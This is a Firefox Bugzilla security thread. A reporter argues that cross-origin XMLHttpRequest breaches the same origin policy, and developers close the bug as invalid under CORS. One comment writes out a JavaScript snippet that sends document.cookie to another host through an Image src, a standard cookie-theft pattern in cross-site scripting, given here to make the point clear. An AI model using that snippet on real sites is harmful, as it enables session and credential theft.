Closed Bug 608961 Opened 14 years ago Closed 14 years ago

Possible same origin policy breach

Categories

(Firefox :: Security, defect)

Product:
Firefox
Component:
Security
Platform:
x86
Windows XP
Type:
defect
Priority:
Not set
Severity:
major

Tracking

()

Status:
RESOLVED INVALID

People

(Reporter: xbughunter, Unassigned)

Details

User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12

According to https://developer.mozilla.org/En/Same_origin_policy_for_JavaScript "The same origin policy prevents ... or setting properties of a document from another origin.". This filling is about breaching the mentioned clause.

If we have a code like:

<html>
<head>
<script language="JavaScript" type="Text/Javascript">
function test()
{

     if (window.XMLHttpRequest)
          {// code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp=new XMLHttpRequest();
          }
        else
        {// code for IE6, IE5
        xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
        }
    xmlhttp.open("GET","http://127.0.0.1:8080/apachedata.htm",false);
    xmlhttp.send();
    document.getElementById("div1").innerHTML = xmlhttp.responseText;
    xmlhttp.open("GET","http://localhost:90/aspsite/index.htm?unauthorizedvar1=75",false);
    xmlhttp.send();
    document.getElementById("div2").innerHTML = xmlhttp.responseText;
}

</script>
</head>

<body onload="test()">
<div id="div1"></div>
<div id="div2"></div>
</body>
</html>

And we have loaded the page from http://127.0.0.1:8080/ the second call is about to set the other origin at port 90, this call will end up with an error in browser but will actually send the data to web server hosted at port 90.

In my mind this breaches what is mentioned in the definition of same origin policy and could be used to steal information for example in a possible cross site scripting.
IE 6.0 gives access denied on this and does not request the page.

I have tested this for different ports. Loading a file from hard disk to access a remote site has the same problem.

Reproducible: Always

Steps to Reproduce:
1. Setup two different we servers on port 90 and 8080.
2. Create apachedata.htm, index.htm and save the script above in test.htm in proper directories 
3. Get the page above from the 8080 server
4. Check the log of the webserver at 90, the index.htm page has been request and unauthorizedvar1 value is present on the server

Actual Results:  
The page which is not on the same origin should not be even requested

Expected Results:  
The page which is not on the same origin is requested and it could some non authorized data
I'm pretty sure this invalid because even though the request does go out, we don't let you read the response unless the request is same origin or if the other site allows is via CORS.  CCing Jonas to confirm.
Group: core-security
(In reply to comment #1)
> I'm pretty sure this invalid because even though the request does go out, we
> don't let you read the response unless the request is same origin or if the
> other site allows is via CORS.  CCing Jonas to confirm.

As I have stated in my original post, when I debug the case with firebug the invalid request end to an exception in browser, and I'm not able to read data.

But the problem I have mentioned is not about this part, it is about the leak of information from browser to outside which according to my understanding of same origin policy should not occur.
There is no information being "leaked" to the outside that is not also sent by an embedded image, iframe, etc.
In other words, you could replace all the XMLHTTPRequest code in your testcase with, e.g. <img src="http://localhost:90/someimage.png?unauthorizedvar1=75">
(In reply to comment #4)
> In other words, you could replace all the XMLHTTPRequest code in your testcase
> with, e.g. <img src="http://localhost:90/someimage.png?unauthorizedvar1=75">

But the difference is I'm doing this in the javascript code, which enables me to read some information for example from cookie or another part of the allowed site and post it back to some other invalid URL.

And as I have mentioned another implementation of the policy just denies the access to the invalid URL.
Okay, then use:
var i = new Image();
i.src = "http://localhost:90/someimage.png?cookie=" + document.cookie;
document.body.appendChild(i)
(In reply to comment #6)
> Okay, then use:
> var i = new Image();
> i.src = "http://localhost:90/someimage.png?cookie=" + document.cookie;
> document.body.appendChild(i)

I think the question you have mentioned is "why we should deny access to other site when the javascript is loaded from a trusted place?"

My reply is: in normal case allowing such code would not cause problems but what if the code was injected by some not intended mechanism?

I don't think leaving the infrastructure open (the firefox code) to allow such access is OK, although one may complain that the original site authors should correct their code problem.

And I think the current behavior contradicts the definition.
(In reply to comment #6)
> Okay, then use:
> var i = new Image();
> i.src = "http://localhost:90/someimage.png?cookie=" + document.cookie;
> document.body.appendChild(i)

Also one may complain by restricting such access what would happen to dynamic behavior needed.

My answer is the data which is posted back should be limited in some way. This is similar to JVM security context which for example limits the access to certain files if it is set to do.
Firefox (and Chrome, Safari, and Opera) are following the CORS spec and the security implications were thoroughly dealt with during the standards process. Newer versions of IE support similar functionality as XDomainRequest.

For sites that are not cooperating the cross-site XHR functionality does nothing that the "attacking" site could not have done using other functionality. Cooperating sites could already pass data using <script> tags or server-to-server on the back end, XHR only makes the process more manageable.
Status: UNCONFIRMED → RESOLVED
Closed: 14 years ago
Resolution: --- → INVALID
(In reply to comment #9)
> Firefox (and Chrome, Safari, and Opera) are following the CORS spec and the
> security implications were thoroughly dealt with during the standards process.
> Newer versions of IE support similar functionality as XDomainRequest.
> 
> For sites that are not cooperating the cross-site XHR functionality does
> nothing that the "attacking" site could not have done using other
> functionality. Cooperating sites could already pass data using <script> tags or
> server-to-server on the back end, XHR only makes the process more manageable.

I should mention that the point I have mentioned is not just about XHR.

According to CORS from here http://www.w3.org/TR/cors/ section 6.3: "User agents are encouraged to apply security decisions on a generic level and not just to the resource sharing policy.", so I think one point which should be considered is the mechanism of, and resources used in building url which will be requested and these should be restricted in some way; otherwise it will end up in security problems.
You need to log in before you can comment on or make changes to this bug.